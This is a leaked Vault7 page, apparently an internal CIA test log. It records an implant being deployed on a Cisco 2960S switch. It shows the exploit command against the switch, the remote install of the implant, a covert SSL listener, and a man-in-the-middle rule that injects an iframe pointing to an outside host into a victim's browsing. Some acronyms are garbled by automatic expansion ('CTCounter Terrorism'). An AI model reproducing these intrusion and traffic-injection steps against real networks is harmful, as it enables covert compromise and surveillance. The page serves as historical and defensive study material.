Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
JQJHAIRPIECE - HG Testing
HG was delivered for JQJHAIRPIECE on 8/21/2015 for the Cisco 2960S. CONOP will be to FLXFluxwire to 192.168.3.40 and then . Testing will be limited to performance testing and SMITE in order to provide a quick turn around for Operator. Also need to test SMITE rules that exclude an internal web server (Xetron can help GIPPLE craft these rules).
Testing summary
Testing Notes
Information about target:
- WS-C2960S-24PD-L (testing used WS-C2960S-24PS-L)
- Boot loader version 12.2(55r)SE (testing used 12.2(55r)SE1)
- IOS c2960s-universalk9-mz.122-55.SE8.bin
- Local authentication
- 7 interfaces up - 1,5,6,9,10,20,24
- ports 1,5,6,10 are in VLANVirtual Local Area Network 3
- port 20 is in VLANVirtual Local Area Network 8
- port 24 is uplink trunk
- MGMT IP - int vlan 10 - 192.168.10.136
- Client mode for VTPVLAN Trunk Protocol domain cisco
- VLANS configured - 1 - 12
- Upstream router - WS-3560G-24-TS running IOSApple operating system for small devices C3560-IPSERVICESK9-M, version 12.2(55)SE9. (testing used WS-C3560G-24PS running IOS C3560-IPSERVICESK9-M, version 12.2(55)SE8)
- Downstream switch - 2960
VMS used
- Hairpiece-ICON-172.20.12.30
- Hairpiece-Seeds-Fedora10 192.168.3.10
- Hairpiece-Flux-192.168.3.40
- Hairpiece-Victim - 192.168.10.11
- Smoke Test - Use ROCEM to throw HG via FLUX
- Configured Seeds traffic on Seeds VMVirtual Machine for Hairpiece network and started ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds traffic
- Successfully established FLUX connection from Hairpiece-Icon to hairpiece-Flux at 192.168.3.40.
- Sucessfully established rocem interactive mode via flux
- Set rocem
- Could not set/unset rocem through flux, but tried outside of flux and it works fine. For purposes of smoke testing, continuing without flux.
- Set rocem outside of flux
- Attacked with iac
root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# ./iac --ip 192.168.10.136 --l cisco:test test
LG
EC -125
DH
EC -159
M
root@hairpiece-icon:/home/user1/rocem/ops/hairpiece/hairpiece-1h/attack/linux# -
Installed HG with remote:
GOOD - status OK.
OP: RUNCODE using Per Second
Code address: 0x044efd34
No data
Result: 0x00000001 - Established CTCounter Terrorism session on port 444 since flux was using port 443. Used Seeds host as IP to trigger.
> ilm listen hairpiece-1h.txt
Listening for clients on port 444...
Accepted connection from 192.168.3.10:15890
Attempting SSLSecure Socket Layer Handshake...
SSL Handshake Successful!
[Success]
New Key: lMzoTDqJUimWHf*yOQXqdzvFrk*LgsOzKIqu8blZt98=
************ Success ************
[ilm listen hairpiece-1h.txt][192.168.3.10]>
- Created mitm rule:
[192.168.3.10]> mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
[Pending]
Job: 136300776
************ Pending ************
[mitm create http_iframe 192.168.10.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ -en -bc -bk][192.168.3.10]> [Success]
Web browsed from Victim and received iframe:
<body><iframe src="http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ"- Uninstalled HG:
[192.168.3.10]> device uninstall_hg -f
Warning!!!
This command will remove all capabilities.
If installed, EVExecution Vector capabilities will be wiped, but MAY LEAVE BEHIND ARTIFACTS
Memory permissions will not be reset. See Operational Use Notes for more information.
This connection will be terminated as a result of this command.Do you wish to continue?
Enter yes or no: yes[Success]
************ Success ************
[device uninstall_hg -f][192.168.3.10]> [Remote Failure]
************ Remote Failure ************
Connection to device lost!!